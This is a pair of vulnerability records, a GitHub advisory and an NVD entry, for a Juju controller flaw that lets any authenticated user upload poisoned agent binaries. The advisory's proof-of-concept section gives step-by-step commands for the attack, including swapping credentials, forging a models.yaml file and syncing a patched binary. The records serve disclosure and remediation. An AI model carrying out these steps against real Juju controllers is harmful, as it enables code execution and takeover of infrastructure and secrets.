{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250619215741-4034aa13c7cf"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-0928"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T15:33:56Z",
    "nvd_published_at": "2025-07-08T18:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nYou can affect the agent binaries used in a Juju controller and the code that is run in the binaries by simply having a user account on a controller. You aren\u0027t required to have a model or any permissions. This just requires a user account in the controller database.\n\n### Details\nBecause of the way Juju upload tools code works in the controller it only checks that the user uploading agent binaries is authenticated and is a user tag. No more checks are performed and it allows that user to upload binaries to any model they like (as long as they know the model uuid) or upload binaries to the controller (attacker doesn\u0027t need to know any uuid\u0027s for controller or controller model).\n\nOnce the poison binaries have been uploaded any new machine that is started in the affected model or controller will get started with the poison binaries. Alternatively administrator\u0027s of the controller running either `juju upgrade-controller` or `juju upgrade-model` will force distribution of the poisoned binaries to all machines in either the model or poison the controllers themselves.\n\nOn top of this the exploit can be done with the Juju client tooling itself and no real knowledge on constructing raw API requests is required.\n\nThe tools handler is the main piece of code that is used in the APIServer for handling upload requests and persisting the data uploaded: The following code references is how Juju uses and defines this:\n- The tools upload handler is defined here (https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L972)\n- The tools upload handler is created in the api server here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L766C2-L766C25).\n- The main authoriser that is used for the upload handler is created here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L770C2-L770C28)\n- The upload handler is registered for the model here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L902)\n- The upload handler is registered for the controller here (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L972)\n\nThe authoriser that is used (https://github.com/juju/juju/blame/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/httpcontext.go#L209) only confirms that the logged in user is authenticated and authenticated as a user tag. No other checks are performed.\n\nThe `toolsUploaderHandler` also uses another server func for getting the Mongo state. This also confirms a logged in user but the state that is returned to the caller is scoped to whatever model the requester has asked for. No checks are performed to make sure that the user in question actually has access to this model or the controller. See code here (https://github.com/juju/juju/blob/4e50a28cdde17832aa31634915fbe7442dca6ab3/apiserver/httpcontext.go#L38). We end up here through a few layers of indirection of https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L768\n\nWe can also see that when handlers are registered with no model uuid scope in the handler like the controller registration of the tools upload handler, the model uuid gets defaulted to that of the controller model. See (https://github.com/juju/juju/blob/4bcbd094097016b2fde926afd8c9e590eabb3f0c/apiserver/apiserver.go#L690).\n\n### PoC\nThis proof of concept was done with the latest tip of the `juju/juju` 3.6 branch (https://github.com/juju/juju/commit/cd12b4951d657a980e113564bf2ea82f167589fd). Pull this code and work from inside of the root of the code base. It is expected that this security issue applies to 2.9 onwards as well.\n\nRepo steps:\n\n1. Bootstrap a new controller to lxd. This was done with a compiled client from the branch but there is no reason performing this action from latest snap won\u0027t produce the same result.\n` juju bootstrap localhost sec-demo`\n\n2. Add a new user to the controller. This is the user with no permissions or models that we will prove the problem with.\n`juju add-user poisoner poisoner`\n\n3. From step 2 save the registration string that the `juju` client prints out.\n\n4. We are going to remove the local `juju` admin credentials and information that was made during bootstrap. We will use this later on for confirming the attack.\n`mv ~/.local/share/juju /tmp/juju-bak`\n\n5. Run the `juju` cli registration command for the new user that was saved from step 3. Set the new password to whatever you wish and then re-enter to login into the controller. After this step we are now logged in as an unprivileged user to the controller.\n\n6. Apply the following patch to the currently checked out `juju` code base:\n```\ncat \u003c\u003cEOF | git apply -\ndiff --git a/cmd/jujud/main.go b/cmd/jujud/main.go\nindex f268509a52..1b01a74b66 100644\n--- a/cmd/jujud/main.go\n+++ b/cmd/jujud/main.go\n@@ -315,6 +315,16 @@ func Main(args []string) int {\n \t\tos.Exit(exit_err)\n \t}\n\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"Got access to the binary\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\tlogger.Criticalf(\"----------------------\")\n+\n \tvar code int\n \tcommandName := filepath.Base(args[0])\n \tswitch commandName {\ndiff --git a/version/version.go b/version/version.go\nindex 2bbc8968c8..40af52f337 100644\n--- a/version/version.go\n+++ b/version/version.go\n@@ -18,7 +18,7 @@ import (\n // The presence and format of this constant is very important.\n // The debian/rules build recipe uses this value for the version\n // number of the release package.\n-const version = \"3.6.6\"\n+const version = \"3.6.7\"\n\n // UserAgentVersion defines a user agent version used for communication for\n // outside resources.\nEOF\n```\n\n7. Set bogus model information. To make the `sync-agent-binary` command work below we need to set a bogus model that is in use by the client. This is done through the local `models.yaml` file. The `uuid` featured here does not matter at and can be set to anything that parses as a uuid in `juju`. This is just to trick the client tooling, the attacker could just manually construct the http request their self to bypass this.\n```\ncat \u003c\u003cEOF \u003e ~/.local/share/juju/models.yaml\ncontrollers:\n  sec-demo:\n    models:\n      admin/controller:\n        uuid: 4dde46dd-a514-491e-8a5f-b908b5310c02\n        type: iaas\n        branch: \"\"\n    current-model: admin/controller\nEOF\n```\n\n8. Next build the changes with `make simplestreams`.\n9. The output of step 9 will provide an export command to run. Please execute this command to point the `juju` client at your local simple streams cache.\n10. Next sync the compiled agent binaries from step 9 to the controller with `juju sync-agent-binary --debug --agent-version 3.6.7`.\n\n**At this stage the controllers agent binary cache has been poisoned and the security issue has been proven.**\n\n11. We can now swap back to the administrator user to start forcing binary circulation. `mv ~/.local/share/juju /tmp/juju-poison` and then `mv /tmp/juju-bak ~/.local/share/juju`\n\nAt this stage the issue can be demonstrated with just a simple `juju upgrade-controller` and a controller upgrade will kick off. You can also upgrade a model. When I was testing this my `upgrade-controller` failed to shut down the controller for reasons unrelated to this security issue. I was able to log into the controller and confirm with sha256sum that the controller had downloaded the new binaries and the checksums matched. They were also symlink as the new binaries to run for `machine-0`. This was under `/var/lib/juju/tools` on the controller machine.\n\nIt would also be possible to affect new machines coming up in a model by repeating the steps above but changing the version to that of the model that you want to be poisoned.\n\n### Impact\nThis is a bad vulnerability in my opinion. It allows a user with no permissions to eventually consume an entire `juju` controller with poisoned binaries and gain access to all of the infrastructure and secrets on that controller. Through model migration it would also be possible to poison other controllers that the user doesn\u0027t have access to.\n\nThis also requires that an administrator upgrade or migrate aspects of the controller. But a bad actor could affect brand new machines coming up in the system straight away.",
  "id": "GHSA-4vc8-wvhw-m5gv",
  "modified": "2025-08-26T20:21:38Z",
  "published": "2025-07-09T15:33:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-4vc8-wvhw-m5gv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0928"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/22cdcf6b54c2f371822e1c203d4f341be6c9589e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/311e374cb8d2431032c51fb3fb5c4b0aaaa7196c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/4034aa13c7cf5a37427fcd032925d5d21955b096"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/b4176e6e45c2c3c817ab60b39e2d52f9a11a5ddf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3805"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Juju allows arbitrary executable uploads via authenticated endpoint without authorization"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:go:*:*",
              "matchCriteriaId": "7CD38943-146D-43E1-9BB9-D7317A914896",
              "versionEndExcluding": "2.9.52",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:go:*:*",
              "matchCriteriaId": "8220B8DE-A1D6-4D66-AFD4-830B96E8D7E1",
              "versionEndExcluding": "3.6.8",
              "versionStartIncluding": "3.0.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "In Juju versions prior to 3.6.8 and 2.9.52, any authenticated controller user was allowed to upload arbitrary agent binaries to any model or to the controller itself, without verifying model membership or requiring explicit permissions. This enabled the distribution of poisoned binaries to new or upgraded machines, potentially resulting in remote code execution."
    },
    {
      "lang": "es",
      "value": "En versiones de Juju anteriores a la 3.6.8 y la 2.9.52, cualquier usuario autenticado del controlador pod\u00eda cargar binarios arbitrarios del agente en cualquier modelo o en el propio controlador, sin verificar la pertenencia al modelo ni requerir permisos expl\u00edcitos. Esto permit\u00eda la distribuci\u00f3n de binarios envenenados a equipos nuevos o actualizados, lo que pod\u00eda provocar la ejecuci\u00f3n remota de c\u00f3digo."
    }
  ],
  "id": "CVE-2025-0928",
  "lastModified": "2025-08-26T17:54:53.650",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security@ubuntu.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-07-08T18:15:26.767",
  "references": [
    {
      "source": "security@ubuntu.com",
      "tags": [
        "Vendor Advisory",
        "Exploit"
      ],
      "url": "https://github.com/juju/juju/security/advisories/GHSA-4vc8-wvhw-m5gv"
    }
  ],
  "sourceIdentifier": "security@ubuntu.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security@ubuntu.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-434"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}